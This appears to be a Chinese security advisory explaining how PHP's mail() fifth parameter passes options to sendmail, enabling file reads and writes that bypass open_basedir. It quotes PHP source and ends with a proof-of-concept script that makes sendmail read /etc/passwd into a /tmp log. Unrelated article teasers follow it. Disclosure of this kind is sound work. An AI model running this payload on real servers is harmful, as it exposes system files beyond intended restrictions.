漏洞介绍:php是一款被广泛使用的编程语言,可以被嵌套在html里用做web程序开发,但是80sec发现在php的Mail函数设计上存在问题,可能导致绕过其他的如open_basedir等限制以httpd进程的身份读写任意文件,结合应用程序上下文也可能导致文件读写漏洞。漏洞分析:php的Mail函数在php源码里以如下形式实现: Php 代码复制代码 ...... if(PG(safe_mode)&&(ZEND_NUM_ARGS()==5)){ php_error_docref(NULLTSRMLS_CC,E_WARNING,"SAFEMODERestrictionineffect.ThefifthparameterisdisabledinSAFEMODE."); RETURN_FALSE; } if(zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,"sss|ss", &to,&to_len, &subject,&subject_len, &message,&message_len, &headers,&headers_len, &extra_cmd,&extra_cmd_len )==FAILURE){ return; } ...... if(force_extra_parameters){ extra_cmd=estrdup(force_extra_parameters); }elseif(extra_cmd){ extra_cmd=php_escape_shell_cmd(extra_cmd); } if(php_mail(to_r,subject_r,message,headers,extra_cmdTSRMLS_CC)){ RETVAL_TRUE; }else{ RETVAL_FALSE; } ..... ...... if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect. The fifth parameter is disabled in SAFE MODE."); RETURN_FALSE; } if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss", &to, &to_len, &subject, &subject_len, &message, &message_len, &headers, &headers_len, &extra_cmd, &extra_cmd_len ) == FAILURE) { return; } ...... if (force_extra_parameters) { extra_cmd = estrdup(force_extra_parameters); } else if (extra_cmd) { extra_cmd = php_escape_shell_cmd(extra_cmd); } if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) { RETVAL_TRUE; } else { RETVAL_FALSE; } ..... 在php_mail中 Php 代码复制代码 PHPAPIintphp_mail(char*to,char*subject,char*message,char*headers,char*extra_cmdTSRMLS_DC) { .... FILE*sendmail; intret; char*sendmail_path=INI_STR("sendmail_path"); char*sendmail_cmd=NULL; .... if(extra_cmd!=NULL){ sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); strcpy(sendmail_cmd,sendmail_path); strcat(sendmail_cmd,""); strcat(sendmail_cmd,extra_cmd); }else{ sendmail_cmd=sendmail_path; } .... /*Sincepopen()doesn'tindicateiftheinternalfork()doesn'twork *(e.g.theshellcan'tbeexecuted)weexplicitelysetitto0tobe *surewedon'tcatchanyoldererrnovalue.*/ errno=0; sendmail=popen(sendmail_cmd,"w"); PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC) { .... FILE *sendmail; int ret; char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; .... if (extra_cmd != NULL) { sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2); strcpy (sendmail_cmd, sendmail_path); strcat (sendmail_cmd, " "); strcat (sendmail_cmd, extra_cmd); } else { sendmail_cmd = sendmail_path; } .... /* Since popen() doesn't indicate if the internal fork() doesn't work * (e.g. the shell can't be executed) we explicitely set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd, "w"); 如果是Linux系统,Mail函数将拼接INI_STR(”sendmail_path”)的内容和额外的参数来执行命令,但是额外的参数在拼接之前经过php_escape_shell_cmd的处理,所以我们无法执行额外的命令。但是通过查阅sendmail自身的命令帮助,我们可以发现sendmail的某些参数是可以用来读写文件的,利用这个特性如果我们控制第5个参数的时候我们一样可以获得对文件系统的读写权限并且不受open_basedir等限制。 漏洞测试: Php 代码复制代码 <?php $to='jianxin&80sec.com'.str_repeat("x",10000); $subject='thesubject'.str_repeat("x",10); $message='hello'.str_repeat("x",10); mail($to,$subject,$message,$headers,"-v-bt-X/tmp/80sec-d13-C/etc/passwd"); ?> <?php $to = 'jianxin@80sec.com'.str_repeat("x",10000); $subject = 'the subject'.str_repeat("x",10); $message = 'hello'.str_repeat("x",10); mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd"); ?> 本站内容均为原创,转载请务必保留署名与链接!php mail function open_basedir bypass:http://www.80sec.com/php-mail-function-open_basedir-bypass.html
中央纪委国家监委网站讯 据湖北省纪委监委消息:经湖北省纪委监委审查调查,湖北省住房和城乡建设厅原党组成员、副厅长傅继成违反政治纪律,转移、隐匿赃物,对抗组织审查;违反组织纪律,不如实报告以他人名义...
在微信里删掉的聊天记录怎么找回来 方法一:借助电脑端微信备份恢复 很多人会同时在手机和电脑上登录微信,在日常使用中如果有在电脑端备份微信记录的习惯,那我们就可以通过电脑微信备份轻松恢复。删除的微信聊天...
在三国杀游戏英中盖的游戏技能为诈降,而一般状况下手上的牌只有应用一次,而黄盖的诈降专业技能也是一样,只有在游戏里面应用一次。下边大家就来详尽看一下黄盖在游戏里面的详细描述及其专业技能操作方法吧。黄盖三...
周杰伦晒小周周近照...
找一个黑客朋友相关问题 黑客入侵模拟器手机版相关问题 黑客可以通过手机号干什么 游戏黑客技术网(黑客游戏网) 黑...
如何好孕(怎么做更容易怀孕)众所周知,怀孕是一件说难不难,说容易又很不容易的事情。比如很多夫妻暂时不想要孩子,但是性生活之后就立马中招,而有些夫妻备孕很长时间却一直没有怀孕。其实,怀孕也要讲究天时地利...